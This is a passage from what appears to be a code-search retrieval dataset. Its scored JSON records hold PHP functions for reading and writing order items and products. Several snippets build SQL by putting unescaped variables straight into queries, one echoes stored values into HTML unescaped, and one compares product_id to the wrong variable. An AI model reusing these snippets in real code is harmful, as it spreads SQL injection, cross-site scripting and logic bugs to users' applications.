"" }, { "docid": "cd8042b5804fb595c9a30fa9261a5479", "score": "0.5653439", "text": "function oGet ($id) {\n\n $sql = \"SELECT * FROM `orders` WHERE `order_id`=?\";\n $cond = [$id];\n $order = $this->fetch($sql, $cond);\n $sql = \"SELECT * FROM `orders_items` LEFT JOIN `products` USING (`product_id`) WHERE `orders_items`.order_id=?\";\n $order['items'] = $this->fetch($sql, $cond, \"product_id\");\n return $order;\n }", "title": "" }, { "docid": "be935fcd512b1b380b5d8f84fcb44a41", "score": "0.5649548", "text": "public function insert_orderitem($order_id,$prize_id,$size_id,$qty,$price,$currency_id,$user,$owner)\n {\n\t\t$params=array($order_id,$prize_id,$size_id,$qty,$price,$currency_id,$user,$owner);\n\t\t$sql = 'SELECT prize.insert_orderitem(?,?,?,?,?,?,?,?)';//\n $query=$this->db->query($sql,$params);\n $result = $query->first_row();\n return $result->insert_orderitem;//not actually needed, but ok\n\t\t\n }", "title": "" }, { "docid": "32f1d23139543400da595c076dc8e64d", "score": "0.56452966", "text": "public function get_this_sale_order_items($id)\n {\n return $this->db->get_where('bill_transaction', array('bill_no' => $id));\n }", "title": "" }, { "docid": "f27185ebfaefa05918dfa9f4a10fe060", "score": "0.56450737", "text": "function report_inproc_item_list($id){\n //---- get md5 order from request_item table ----\n $reqid = $this->db->select('reqid')->from('request_item')->where('id',$id)->get()->result();\n foreach($reqid as $row){\n $md5id = $row->reqid;\n };\n //echo $md5id;\n\n //---- select all item list by md5 ----\n $item_list = $this->db->select('*')->from('request_item_list')->where('reqid',$md5id)->get()->result();\n return $item_list;\n }", "title": "" }, { "docid": "9316460bf22415e2bb6176e42e26e298", "score": "0.5635426", "text": "public function get_single_item_info($item_id)\n{\n\t$this->db->where('Item_ID',$item_id);\n\t$this->db->select('*');\n $this->db->from('Items');\n\n $query = $this->db->get();\n return $result = $query->result();\n}", "title": "" }, { "docid": "61f4efc4e2e5c77e0fcd9813e2a36eed", "score": "0.5627945", "text": "public static function orderItens($tabela, $order, $idItem){\r\n if($order == 'up'){\r\n $infoItemAtual = Painel::select($tabela, 'id = ?', [$idItem]); //está selecionando\r\n $order_id = $infoItemAtual['order_id'];\r\n $itemBefore = Conexao::conectar()->prepare(\"SELECT * FROM $tabela WHERE order_id < $order_id ORDER BY order_id DESC LIMIT 1\");\r\n $itemBefore->execute();\r\n if($itemBefore->rowCount() == 0){\r\n return;\r\n }\r\n $itemBefore = $itemBefore->fetch();\r\n Painel::atualizar(['nome_tabela'=>$tabela, 'id'=>$itemBefore['id'], 'order_id'=>$infoItemAtual['order_id']]);\r\n Painel::atualizar(['nome_tabela'=>$tabela, 'id'=>$infoItemAtual['id'], 'order_id'=>$itemBefore['order_id']]);\r\n }else if($order == 'down'){\r\n $infoItemAtual = Painel::select($tabela, 'id = ?', [$idItem]); //está selecionando\r\n $order_id = $infoItemAtual['order_id'];\r\n $itemBefore = Conexao::conectar()->prepare(\"SELECT * FROM $tabela WHERE order_id > $order_id ORDER BY order_id ASC LIMIT 1\");\r\n $itemBefore->execute();\r\n if($itemBefore->rowCount() == 0){\r\n return;\r\n }\r\n $itemBefore = $itemBefore->fetch();\r\n Painel::atualizar(['nome_tabela'=>$tabela, 'id'=>$itemBefore['id'], 'order_id'=>$infoItemAtual['order_id']]);\r\n Painel::atualizar(['nome_tabela'=>$tabela, 'id'=>$infoItemAtual['id'], 'order_id'=>$itemBefore['order_id']]);\r\n }\r\n }", "title": "" }, { "docid": "3f4c4f94e10548ac74522c7a9ea832d6", "score": "0.562214", "text": "function getExistingOrder($db, $customerID)\n{\n $query =\n \"SELECT\n Orders.order_id,\n Orders.customer_id,\n Orders.order_status_code,\n Order_Items.*\n FROM\n Order_Items, Orders\n WHERE\n Orders.order_id = Order_Items.order_id and\n Orders.order_status_code = 'IP' and\n Orders.customer_id = $customerID\";\n $items = mysqli_query($db, $query);\n return $items;\n}", "title": "" }, { "docid": "7fbb3234b9213d1f9fd5b8bebc588f3f", "score": "0.5614915", "text": "function getOrdrItems($orderid)\r\n\t\t{\r\n\t\t\t$item_array = array();\r\n\t\t\tinclude './config.php';\r\n\r\n\t\t\t$function_qry1 = \"SELECT * FROM bc_orditems WHERE order_id = \".$orderid;\r\n\t\t\tif(mysqli_query($con, $function_qry1))\r\n\t\t\t{\r\n\t\t\t\t$function_rlt1 = mysqli_query($con, $function_qry1);\r\n\t\t\t\twhile($function_row1 = mysqli_fetch_array($function_rlt1))\r\n\t\t\t\t{\r\n\t\t\t\t\t$item = array();\r\n\t\t\t\t\t$item['id'] = $function_row1['item_id'];\r\n\t\t\t\t\t$item['pid'] = $function_row1['product_id'];\r\n\t\t\t\t\t$item['exp'] = $function_row1['expiry'];\r\n\t\t\t\t\t$item['qty_b'] = $function_row1['qty_billed'];\r\n\t\t\t\t\t$item['qty_f'] = $function_row1['qty_free'];\r\n\t\t\t\t\t$item['whp'] = $function_row1['whole_price'];\r\n\t\t\t\t\t$item['dis1'] = $function_row1['disc_one'];\r\n\t\t\t\t\t$item['dis2'] = $function_row1['disc_two'];\r\n\t\t\t\t\t$item['amt'] = $function_row1['amount'];\r\n\t\t\t\t\tarray_push($item_array, $item);\r\n\t\t\t\t}\r\n\t\t\t\treturn $item_array;\r\n\t\t\t}\r\n\t\t\telse\r\n\t\t\t{\r\n\t\t\t\treturn 0;\r\n\t\t\t}\r\n\t\t}", "title": "" }, { "docid": "e89eb0c1c9a9f0962ab46d9524dc6957", "score": "0.559784", "text": "public function items() {\n return $this->hasManyThrough(\\Restaurant\\Api\\V1\\Models\\Item::class, \\Restaurant\\Api\\V1\\Models\\OrderItem::class, 'order_id', 'id');\n }", "title": "" }, { "docid": "f9387b9a66f4bdb6127ab773268178c7", "score": "0.5595014", "text": "function get_item_by_id($itemID)\n {\n $sql = \"SELECT * FROM `items` WHERE `itemID` = ? LIMIT 1\";\n $query = $this->db->query($sql, array($itemID));\n\n if($query->num_rows == 1)\n return $query->row_array();\n else\n return null;\n }", "title": "" }, { "docid": "b0353f247a953848118009756ac0db11", "score": "0.5593854", "text": "function fetch_single_return_item($item_id)\r\n\t{\r\n\t\t$CI\t=&\tget_instance();\r\n\t\t$CI->load->database();\r\n\t\t$CI->db->select(\"qty\");\r\n\t\t$CI->db->from('mp_return_list');\r\n\t\t$CI->db->where(['mp_return_list.product_id'=> $item_id]);\r\n\t\t$query = $CI->db->get();\r\n\t\t$result = 0;\r\n\t\tif($query->num_rows()>0)\r\n\t\t{\r\n\t\t\t$obj_res = $query->result();\r\n\t\t\tif($obj_res != NULL)\r\n\t\t\t{\r\n\t\t\t\tforeach ($obj_res as $single_qty) \r\n\t\t\t\t{\r\n\t\t\t\t\t$result = $result + $single_qty->qty;\r\n\t\t\t\t}\r\n\t\t\t} \r\n\t\t}\r\n\t\t\r\n\t\treturn $result;\r\n\r\n\t}", "title": "" }, { "docid": "9ad6d5b66e674b7e1c4ef881e7b3bdda", "score": "0.5592913", "text": "function insert_av_item_soitem($so_id,$CCL_Item,$Description,$AV,$sell_price,$lineprice,$location,$id) {\r\n $dataso = array(\t \r\n 'sales_id' => $so_id,\r\n 'CCL_Item' => $CCL_Item,\r\n 'Description' => $Description,\r\n 'item_qty' => $AV,\r\n 'itemPrice' => $sell_price,\r\n 'itemlinetotal' => $lineprice,\r\n 'location' => $location,\r\n 'wh_item_id' => $id,\r\n );\r\n $this->db->insert('sales_orders_items', $dataso);\r\n }", "title": "" }, { "docid": "b031dd27cee5172107a1db7beceeba0e", "score": "0.55912143", "text": "public function get_order_item( $order_id , $product_id )\n\t{\n\t\t$query =\t$this->db->select('*')\n\t\t\t\t \t\t ->from('order_items')\n\t\t\t\t \t\t ->where('order_id' , $order_id )\n\t\t\t\t \t\t ->where('product_id' , $order_id)\n\t\t\t\t \t\t ->get();\n\t\treturn $query->row_array();\t\t \t\t \n\t}", "title": "" }, { "docid": "8bd081da5f200c5d24b39d897458a857", "score": "0.5589863", "text": "public function getProductId($item)\n {\n return $item->getId();\n }", "title": "" }, { "docid": "2690599807f411e6b2373808c892a9ed", "score": "0.5583702", "text": "public function syncItem($item)\n {\n $records = $this->findBySql('item_id=?', array($item->id));\n foreach ($records as $record) { $record->save(); }\n }", "title": "" }, { "docid": "78fd45086faf5a12d7df7e536be58ae3", "score": "0.55820405", "text": "public function get_item_information_by_id($item_id) {\n $this->db->select('item_information.id,item_information.ar_name,item_information.en_name,item_information.details,item_information.barcode,item_information.invoice_number,item_information.item_number,item_information.tax_1,item_type.name,size.ar_name as size_ar_name,size.en_name as size_en_name,color.ar_name as color_ar_name, color.en_name as color_en_name,items.weight,brand.ar_name as brand_ar_name, brand.en_name as brand_en_name,items.expiry_date,items.cost_price,items.sale_price,items.whole_price,supplier.name as supplier_name,category.ar_name as category_ar_name,category.en_name as category_en_name,sub_category.ar_name as sub_category_ar_name, sub_category.en_name as sub_category_en_name,items.max_discount,items.discount,items.discount_status,items.qty,branch_type.ar_name as branch_ar_name, branch_type.en_name as branch_en_name,location.ar_name as loc_ar_name, location.en_name as loc_en_name,items.custom,items.bg_color,item_information.image,items.brand_id,item_information.type_id,items.size_id,items.color_id,items.supplier_id,items.category_id,items.sub_category_id,items.branch_location_id');\n $this->db->from('item_information');\n $this->db->join('items', 'items.item_id = item_information.id');\n $this->db->join('item_type', 'item_type.id = item_information.type_id', 'left');\n $this->db->join('size', 'size.id = items.size_id', 'left');\n $this->db->join('color', 'color.id = items.color_id', 'left');\n $this->db->join('brand', 'brand.id = items.brand_id', 'left');\n $this->db->join('supplier', 'supplier.id = items.supplier_id', 'left');\n $this->db->join('category', 'category.id = items.category_id', 'left');\n $this->db->join('sub_category', 'sub_category.id = items.sub_category_id', 'left');\n $this->db->join('branch_location', 'branch_location.id = items.branch_location_id', 'left');\n $this->db->join('branch_type', 'branch_type.id = branch_location.branch_id', 'left');\n $this->db->join('location', 'location.id = branch_location.location_id', 'left');\n $this->db->where('item_information.id', $item_id);\n $query = $this->db->get();\n return $query->result();\n }", "title": "" }, { "docid": "f4d8d857517af976260eb4c19a276036", "score": "0.55802274", "text": "private function actionGetOrderedItems(){\n\n include_once $_SERVER['DOCUMENT_ROOT'] . '/Storage.php';\n $db = Storage::getInstance();\n $mysqli = $db->getConnection();\n\n session_start();\n if(isset($_SESSION['login_user'])){\n $user = $_SESSION['login_user'];\n }\n $sql_query = \"SELECT * FROM orderedItems WHERE user='$user'\";\n\n session_write_close();\n\n $result = $mysqli->query($sql_query);\n\n $id_array = array();\n $product_name_array = array();\n $category_array = array();\n $price_array = array();\n $quantity_array = array();\n\n if ($result->num_rows !== 0) {\n if ($result->num_rows > 0) {\n // output data of each row\n while ($row = $result->fetch_assoc()) {\n $id_array = array_merge($id_array, array_map('trim', explode(\",\", $row['id'])));\n $product_name_array = array_merge($product_name_array, array_map('trim', explode(\",\", $row['product_name'])));\n $category_array = array_merge($category_array, array_map('trim', explode(\",\", $row['category'])));\n $price_array = array_merge($price_array, array_map('trim', explode(\",\", $row['price'])));\n $quantity_array = array_merge($quantity_array, array_map('trim', explode(\",\", $row['quantity'])));\n }\n }\n\n $this->model->setNotFound(0);\n $this->model->setIdArray($id_array);\n $this->model->setProductNameArray($product_name_array);\n $this->model->setCategoryArray($category_array);\n $this->model->setPriceArray($price_array);\n $this->model->setQuantityOfItem($quantity_array);\n } else if ($result->num_rows == 0) {\n $this->model->setNotFound(1);\n }\n\n }", "title": "" }, { "docid": "e5fb7b554bbe8f532dbca9d880da7452", "score": "0.5579356", "text": "public function setItemOrder($item_order)\n {\n $this->item_order = $item_order;\n }", "title": "" }, { "docid": "477f6dc33bf9d5b424cd83b6ce545863", "score": "0.55767035", "text": "function get_item_quantity($item_id)\n\t{\n\t\t$this->load->model('Item_location');\n\t\treturn $this->Item_location->get_location_quantity($item_id, $this->ecommerce_store_location);\n\t}", "title": "" }, { "docid": "739d98fa1a5e98ecada175b383492567", "score": "0.55642295", "text": "function backend_image_link_after_order_itemmeta( $item_id, $item, $product ) {\r\n if( is_admin() && $item->is_type('line_item') && $file_data = $item->get_meta( '_img_file' )){\r\n foreach ($item->get_meta( '_img_file' ) as $key => $value) {\r\n echo '<p><a href=\"'.$value['guid'].'\" target=\"_blank\" class=\"button\">'.__(\"Open Image\") . '</a></p>'; // Optional\r\n // echo '<p><code>'.$value['guid'].'</code></p>'; // Optional\r\n echo '<img src=\"'.$value['guid'].'\" style=\"height:10%; width:30%\">';\r\n }\r\n }\r\n if( is_admin() && $item->is_type('line_item') ){\r\n global $wpdb;\r\n$table_b2bjewellers = $wpdb->prefix. 'b2bjewellers';\r\n ?>\r\n <table>\r\n <thead>\r\n <th>Metal</th>\r\n <th>Quantity</th>\r\n <th>Unit</th>\r\n <th>Price</th>\r\n </thead>\r\n <tbody>\r\n <?php\r\n $b = json_decode(stripslashes($item->get_meta( '_wdm_name' )));\r\n if(!empty($b)){\r\n foreach ($b as $key => $value) {\r\n // echo $value;\r\n $master = $wpdb->get_row(\"SELECT * FROM $table_b2bjewellers WHERE id='$value->id'\");\r\n echo \"<tr><td>\".$master->name.\"</td>\";\r\n echo \"<td>\".$value->qty.\"</td>\";\r\n echo \"<td>\".$master->unit.\"</td>\";\r\n echo \"<td>\".$value->total.\"</td><tr>\";\r\n }\r\n } \r\n ?>\r\n </tbody>\r\n </table>\r\n <h3>Estimated Price: <?php echo $item->get_meta( '_estimated_price' )?></h3>\r\n <?php \r\n }\r\n}", "title": "" }, { "docid": "b1cce7ee6b127377db674b7c0cb5d93e", "score": "0.55588984", "text": "public static function GetAllTheOrderItemInfo($order_id){\n $db = self::GetDB();\n $dbhandler_ = $db->prepare(\"Call orders_get_order_items(:order_id)\");\n $dbhandler_->bindValue(\"order_id\",$order_id);\n $dbhandler_->execute();\n while ($row_ = $dbhandler_->fetch(PDO::FETCH_ASSOC))\n \n echo '\n <tr>\n <td>'.$row_['CampaignItemName'].'</td>\n <td>'.$row_['CampaignItemDesc'].'</td>\n <td>'.$row_['Quantity'].'</td>\n <td>'.$row_['Points'].'</td>\n <td>'.$row_['TotalPoints'].'</td>\n </tr>\n ';\n }", "title": "" }, { "docid": "d650028959dfec72c3bac888e4f22952", "score": "0.5558178", "text": "private function getProductId(Mage_Sales_Model_Order_Item $item)\n {\n if ($item->getProductType() === Mage_Catalog_Model_Product_Type::TYPE_CONFIGURABLE\n && $item->getChildrenItems()\n ) {\n /** @var Mage_Sales_Model_Order_Item[] $children */\n $children = $item->getChildrenItems();\n $productId = $item->getProductId() . '-' . $children[0]->getProductId();\n } else {\n $productId = $item->getProductId();\n }\n\n return $productId;\n }", "title": "" }, { "docid": "1369d93d0c94967f9224fe5e11820ba1", "score": "0.5551812", "text": "function readdItem($sales_itemid)\n{\n dbConnect();\n\n $sql1 = sprintf(\"SELECT * FROM sales_items, items WHERE sales_itemid = %s AND sales_items.itemid = items.itemid\", $sales_itemid);\n\n $result1 = mysql_fetch_array(mysql_query($sql1));\n\n $itemid = $result1[\"itemid\"];\n $quantity = $result1[\"quantity\"];\n $discount = $result1[\"discount\"];\n\n echo \"itemid = $itemid<p>\";\n echo \"quantity = $quantity<p>\";\n\n $total = calcPrice($result1,$discount);\n\n\n $sql = \"UPDATE items SET quantity = quantity + $quantity WHERE itemid=$itemid AND confirm=1\";\n\n $result = mysql_query($sql);\n\n}", "title": "" }, { "docid": "ecd31c582815a10a47715b39a4a5b1f3", "score": "0.5550785", "text": "function getIndividualItem($id, $item){\r\n\t\t$this->db->select($item);\r\n\t\t$this->db->where('ID', $id);\r\n\t\t$this->db->from('jadwal_lab');\r\n\t\t$result = $this->db->get();\r\n\t\tif($result->num_rows() == 1){\r\n\t\t\treturn $result->row(0)->$item;\r\n\t\t} \r\n\t\telse {\r\n\t\t\treturn false;\r\n\t\t}\r\n\t}", "title": "" }, { "docid": "251a39fa7501420b6e91cc5ed7f32e15", "score": "0.55471635", "text": "function report_item_list($id){\n //---- get md5 order from request_item table ----\n $reqid = $this->db->select('reqid')->from('request_item')->where('id',$id)->get()->result();\n foreach($reqid as $row){\n $md5id = $row->reqid;\n };\n //echo $md5id;\n\n //---- select all item list by md5 ----\n $item_list = $this->db->select('*')->from('request_item_list')->where('reqid',$md5id)->get()->result();\n return $item_list;\n }", "title": "" }, { "docid": "f74ca19c74722353faaefbbe48280887", "score": "0.55470896", "text": "function id( $item ) {\n\t// @codingStandardsIgnoreEnd\n\treturn $item;\n}", "title": "" }, { "docid": "43e353dd919a71caa839eb5dfbcd63e9", "score": "0.55423194", "text": "public function getIdentifierId($item)\n {\n return $item->getProductId();\n }", "title": "" }, { "docid": "85194477f7864752a4ba30c2d12ad575", "score": "0.5541965", "text": "function processOrder() {\r\n if (!$this->placed) {\r\n $this->placed = true;\r\n $this->order_id = addOrder($this);\r\n foreach ($this->item_list as $item_id => $quant) {\r\n $item = new Item($item_id);\r\n if ($quant > $item->getQuantity()) throw new Exception();\r\n else {\r\n $item->setQuantity($item->getQuantity() - $quant);\r\n }\r\n }\r\n }\r\n }", "title": "" }, { "docid": "9964a885080b0fe4a8add53adea79e46", "score": "0.5540307", "text": "function deleteItem($item_id) {\r\n if (!$this->placed) {\r\n unset($this->item_list[$item_id]);\r\n }\r\n }", "title": "" }, { "docid": "70317d10cc1c99dc2a912207deda5764", "score": "0.5540017", "text": "public function item() {\n return $this->hasMany(Item::class, 'userId', 'id');\n }", "title": "" }, { "docid": "0fa4d0454803a4a5f6455099220bdde9", "score": "0.5533984", "text": "public function check_order_item($order_placed_id)\n\t{\n\t\t$sql = \"SELECT `is_temp_delete` FROM `sb_customer_order_placed` WHERE `order_placed_id`='$order_placed_id'\";\n\t\t$query = $this->db->query($sql);\n\t\t$res = $query->result_array();\n\t\tif(count($res)>0)\n\t\t{\n\t\t\tif($res[0]['is_temp_delete'] == 1)\n\t\t\t{\n\t\t\t\treturn 1;\n\t\t\t}\n\t\t\telse\n\t\t\t{\n\t\t\t\treturn 0;\n\t\t\t}\n\t\t}\n\t\telse\n\t\t{\n\t\t\treturn 2;\n\t\t}\n\t}", "title": "" }, { "docid": "f75e9463a5629541d9a5e1f2beb8dd66", "score": "0.5531669", "text": "function getItemPriceByItemId($item_id) {\n $price = 0;\n foreach ($this->items as $item) {\n if ($item['id'] == $item_id) {\n $price = $item['price'];\n break;\n }\n }\n return $price;\n }", "title": "" }, { "docid": "8f33b3ef996258ea74db1085d86d4d54", "score": "0.55146956", "text": "function login_insert_cart_item() {\n $lastuser = $this->productmodel->get_id_user($email);\n foreach ($lastuser as $userId) {\n $uid = $userId->id;\n }\n\n $this->productmodel->order_user($s_username, $s_address, $s_city, $s_state, $s_country, $s_zip, $s_email, $s_contact, $uid);\n $orderId = $this->productmodel->get_last_order();\n foreach ($orderId as $oid) {\n $oId = $oid->o_id;\n }\n // die($oId);\n $cart = $this->cart->contents();\n $tr = 0;\n\n $trans_id = $this->productmodel->getTranId();\n\n foreach ($trans_id as $tranId) {\n $tr = $tranId->trans_num;\n }\n\n $a = \"TRD\";\n $tr = $tr + 1;\n $tid = $a . $tr;\n\n\n foreach ($cart as $item) {\n if ($item) {\n mysql_query(\"INSERT INTO `product_oder_detail` (o_id,p_id,qty,trans_id,trans_num) \n VALUES ('\" . $oId . \"','\" . $item['id'] . \"', '\" . $item['qty'] . \"', '$tid', '$tr')\");\n }\n }\n \n }", "title": "" }, { "docid": "51d394819777bbb53494f581462fea07", "score": "0.5514483", "text": "public function prepareBCLineItem($item) {\n\t\t\n\t\tif(!empty($item['bigcommerce_id'])) {\n\t\t\t$order_product_id = $item['bigcommerce_id'];\n\t\t} else {\n\t\t\t$order_product_id = $this->getBCOrderProductID($item);\n\t\t}\n\n\t\tif(!$order_product_id) {\n\t\t\t$this->doException(null,\"Could not find an order_product_id (line item id) matching item {$item->product_id}\");\n\t\t}\n\n\t\treturn (object) array(\n\t\t\t\t'order_product_id' => $order_product_id,\n\t\t\t\t'quantity' => $item['quantity'],\n\t\t\t);\n\t}", "title": "" }, { "docid": "9ca4641b75dc63c491c12b6300d6a5d8", "score": "0.5509787", "text": "public function updateTotalQuantitySoldPerItem() {\t\t\r\n\r\n\t\t//identify newest transactionId\r\n\t\t$this->db->select_max('item_id');\r\n\t\t$query = $this->db->get('item');\r\n\t\t$row = $query->row();\t\t\r\n\t\t$iItemIdMax = $row->item_id;\r\n\r\n\t\t$itemId=0;\t\t\r\n\t\t\r\n\t\twhile ($itemId<$iItemIdMax) {\r\n\t\t\t$iTotalQuantitySold=0;\r\n\r\n/*\t\t\techo \"item_id: \".$itemId.\";\";\r\n*/\r\n\t\t\t//$this->db->select('t1.item_price, t2.fee');\r\n\t\t\t//edited by Mike, 20200901\r\n\t\t\t$this->db->select('t1.item_name, t1.item_price, t2.fee, t2.fee_quantity, t2.transaction_id');\r\n\t\t\t$this->db->from('item as t1');\r\n\r\n\t//\t\t$this->db->group_by('t1.item_id'); //added by Mike, 20200406\r\n\t\t\t$this->db->group_by('t2.transaction_id'); //added by Mike, 20200406\r\n\r\n\t\t\t$this->db->join('transaction as t2', 't1.item_id = t2.item_id', 'LEFT');\r\n\r\n\t\t\t$this->db->where('t1.item_id', $itemId);\r\n\t\t\t//edited by Mike, 20200625\r\n\t\t\t//note: we include transactions in the cart list, albeit unpaid\r\n\t\t\t//$this->db->where('t2.notes', \"PAID\");\r\n\t\t\t$this->db->like('t2.notes', \"PAID\");\r\n\t\t\t//edited by Mike, 20210114\r\n//\t\t\t$this->db->where('t2.transaction_date >=', \"04/06/2020\"); //i.e., MONDAY\r\n\t\t\t$this->db->where(\"STR_TO_DATE(t2.transaction_date, '%m/%d/%Y') >=\",\"2020-04-06\");\r\n\r\n\r\n\t\t\t//added by Mike, 20201215; edited by Mike, 20210114\r\n//\t\t\t$this->db->where('t2.transaction_date <', date(\"m/d/Y\")); //i.e., date today\r\n//\t\t\t$this->db->where('t2.transaction_date <', \"01/13/2021\"); //i.e., date today\r\n\t\t\t//note: STR_TO_DATE output format: YYYY-mm-dd\r\n\t\t\t$this->db->where(\"STR_TO_DATE(t2.transaction_date, '%m/%d/%Y') <\",date(\"Y-m-d\"));\r\n\r\n\r\n\r\n\t\t\t$query = $this->db->get('item');\r\n\r\n\t//\t\t$row = $query->row();\t\t\r\n\t\t\t$rowArray = $query->result_array();\r\n/*\r\n\t\t\techo \"count: \".count($rowArray);\r\n\t\t\techo \"transaction_id: \";\r\n*/\r\n\t\t\t//TO-DO: -update: this\r\n\t\t\tif ($rowArray == null) {\r\n\t\t\t\t$itemId=$itemId+1;\r\n\t\t\t\tcontinue;\r\n\t\t\t}\r\n\t\t\t\r\n\t\t\tforeach ($rowArray as $value) {\t\r\n\t\t\t\t//edited by Mike, 20200422\r\n\t//\t\t\t$iQuantity = $iQuantity - $value['fee']/$value['item_price'];\r\n\r\n\t\t\t\t//edited by Mike, 20200617\r\n\t//\t\t\t$iQuantity = $iQuantity - floor($value['fee']/$value['item_price']*100/100);\r\n\r\n\t\t\t\t//edited by Mike, 20200901\r\n\t\t\t\t//$iQuantity = $iQuantity - $value['fee_quantity'];\r\n\t\t\t\t//edited by Mike, 20201202\r\n\t//\t\t\t$iQuantity = $iQuantity - $value['fee_quantity'];\r\n\t\t\t\t\r\n//\t\t\t\techo $value['transaction_id'].\";\";\r\n\t\t\t\t$iTotalQuantitySold = $iTotalQuantitySold + $value['fee_quantity'];\r\n\r\n\t\t\t}\r\n/*\t\t\t\r\n\t\t\techo \"<br/>\".$value['item_name'].\" : \";\r\n\t\t\techo $iTotalQuantitySold.\" : \";\r\n*/\r\n\t\t\t//UPDATE item SET item_total_sold=2 WHERE item_id=1\t\t\t\r\n\t\t\techo \"UPDATE item SET item_total_sold=\".$iTotalQuantitySold.\" WHERE item_id=\".$itemId.\";<br/>\";\r\n\t\t\t\r\n\t\t\t//added by Mike, 20201216\r\n\t\t\t//auto-insert in computer database\r\n\t\t\t$data = array(\r\n\t\t\t\t\t\t'item_total_sold' => $iTotalQuantitySold\t\t\t\r\n\t\t\t\t\t);\r\n\t\t\t$this->db->where('item_id',$itemId);\r\n\t\t\t$this->db->update('item', $data);\t\t\r\n\t\t\t\r\n\t\t\t$itemId=$itemId+1;\t\t\t\r\n\t\t}\t\t\r\n\t\t//------------------------------------\r\n\t}", "title": "" }, { "docid": "72d54b9918cfc839c45e1f0e485c3152", "score": "0.5509188", "text": "function get_info($item_id) {\n\t\t$this->db->from('items');\n\t\t$this->db->where('item_id',$item_id);\n\t\t\n\t\t$query = $this->db->get();\n\n\t\tif($query->num_rows()==1) {\n\t\t\treturn $query->row();\n\t\t} else {\n\t\t\t//Get empty base parent object, as $item_id is NOT an item\n\t\t\t$item_obj=new stdClass();\n\n\t\t\t//Get all the fields from items table\n\t\t\t$fields = $this->db->list_fields('items');\n\n\t\t\tforeach ($fields as $field)\t{\n\t\t\t\t$item_obj->$field='';\n\t\t\t}\n\n\t\t\treturn $item_obj;\n\t\t}\n\t}", "title": "" }, { "docid": "e9d68d7d9f0de99df96ccb2cad353f3f", "score": "0.5508864", "text": "public function get_order_item_pickup_location_id( $order_item ) {\n\n\t\t$order_item_id = $order_item instanceof WC_Order_Item_Shipping ? $order_item->get_id() : $order_item;\n\t\t$pickup_location_id = is_numeric( $order_item_id ) ? wc_get_order_item_meta( (int) $order_item_id, $this->pickup_location_id_meta ) : null;\n\n\t\treturn is_numeric( $pickup_location_id ) ? (int) $pickup_location_id : null;\n\t}", "title": "" }, { "docid": "9018e92787f1790dc055b6bcf11299d5", "score": "0.5505193", "text": "function add_products($order_id, $items) {\n // single build insert query. But this is PHP. There are no rules\n foreach ($items as $item) {\n $stmt = $this->conn->prepare(\"INSERT INTO order_product (order_id, product_id, quantity) VALUES (:order_id, :product_id, :quantity)\");\n $stmt->execute(array(\n ':order_id' => $order_id,\n ':product_id' => $item->product->id,\n ':quantity' => $item->quantity\n ));\n }\n }", "title": "" }, { "docid": "82e7c46e68fe3caf720f68e9bb18976e", "score": "0.5491025", "text": "public function OrderItem() {\n\t\t//work out the filter\n\t\t$filter = array();\n\t\t$updatedFilter = $this->extend('updateItemFilter', $filter);\n\t\tif($updatedFilter!== null && is_array($updatedFilter) && count($updatedFilter)) {\n\t\t\t$filter = $updatedFilter[0];\n\t\t}\n\t\t//make the item and extend\n\t\t$item = ShoppingCart::singleton()->findOrMakeItem($this, $filter);\n\t\t$this->extend('updateDummyItem', $item);\n\t\treturn $item;\n\t}", "title": "" }, { "docid": "be6ab0da6c0187f032eaf482a5bae6af", "score": "0.5488354", "text": "function orderDetails ($order_id){\r\n\t\t$db = new DB;\r\n\t\tglobal $ps_cart, $auth;\r\n\r\n\t\t/*$req = \"SELECT i.*, o.order_shipping, o.order_discount, o.order_pdiscount\r\n\t\t\tFROM order_items i, orders o\r\n\t\t\tWHERE i.order_id=$order_id\r\n\t\t\tAND o.order_id=i.order_id\r\n\t\t\tORDER BY i.items_number\";*/\r\n\r\n\t\t$req = \"SELECT i. * , o.order_shipping, o.order_discount, o.order_pdiscount, u.discount_txt\r\n\t\t\tFROM order_items i, orders o, user u\r\n\t\t\tWHERE i.order_id=$order_id\r\n\t\t\tAND o.order_id = i.order_id\r\n\t\t\tAND o.user_id = u.user_id\r\n\t\t\tORDER BY i.items_number\";\r\n\t\t$db->query($req);\r\n\t\t$ps_cart->reset();\r\n\r\n\t\twhile ($db->next_record()){\r\n\t\t\t$d = array();\r\n\t\t\t$d[\"product_id\"]\t= $db->f(\"product_id\");\r\n\t\t\t$d[\"quantity\"]\t\t= $db->f(\"items_qty\");\r\n\t\t\t$d[\"label\"]\t\t\t\t= $db->f(\"items_label\");\r\n\t\t\t$d[\"price\"]\t\t\t\t= $db->f(\"items_price\");\r\n\t\t\t$d[\"company\"]\t\t\t= $db->f(\"company\");\r\n\t\t\t$order_shipping\t\t= $db->f(\"order_shipping\");\r\n\t\t\t$order_discount\t\t= $db->f(\"order_discount\");\r\n\t\t\t$user_discount\t\t= $db->f(\"order_pdiscount\");\r\n\t\t\t$discount_txt = $db->f(\"discount_txt\");\r\n\t\t\t$ps_cart->add($d);\r\n $total += $d[\"price\"]*$d[\"quantity\"];\r\n $total_qty += $d[\"quantity\"];\r\n\r\n\t\t\t$cartItems .= $d[\"quantity\"] . \" x\\t\" . $d[\"label\"] .\r\n\t\t\t\t\" - Prix : \" . number_format($d[\"price\"], 2, ',', ' ') . \" euros TTC /btle\\r\";\r\n\t\t}\r\n\t\t$cartItems .= \"\\n\";\r\n\r\n\t\t//if($order_discount>0) $cartItems .= \"\\nRemise quantitative : \" . number_format($order_discount, 2, ',', ' ') . \" euros TTC\";\r\n\r\n\t\t//$user_discount = $auth[\"discount\"];\r\n\t\t//$order_total = $order_shipping + $total - $order_discount;\r\n\t\t$user_discount = $total*($user_discount/100);\r\n\t\t//if($user_discount>0) $cartItems .= \"\\nRemise personnelle $discount_txt: \" . number_format($user_discount, 2, ',', ' ') . \" euros TTC\";\r\n\r\n\t\t//$order_total = $order_shipping + $total - $order_discount - $user_discount;\r\n\t\t$order_total = $total;\r\n\t\tif($total<230){\r\n\t\t\t$cartItems .= \"\\nFrais de port : \" . number_format($order_shipping, 2, ',', ' ') . \" euros TTC\";\r\n\t\t\t$order_total += $order_shipping;\r\n\t\t}\r\n\t\telse $cartItems .= \"\\nFrais de port : \" . number_format(0, 2, ',', ' ') . \" euros TTC\";\r\n\t\t$cartItems .= \"\\nTotal : \" . number_format($order_total, 2, ',', ' ') . \" euros TTC\";\r\n\t\t$this->details = $cartItems;\r\n\t}", "title": "" }, { "docid": "486e5e9432cebe811eb1ce3cacfb1d8d", "score": "0.5487839", "text": "public function item(){\n return $this->belongsTo(Item::class, 'item_id');\n }", "title": "" }, { "docid": "8c3d2f66588967e7dad10610f89f52d8", "score": "0.5487082", "text": "function 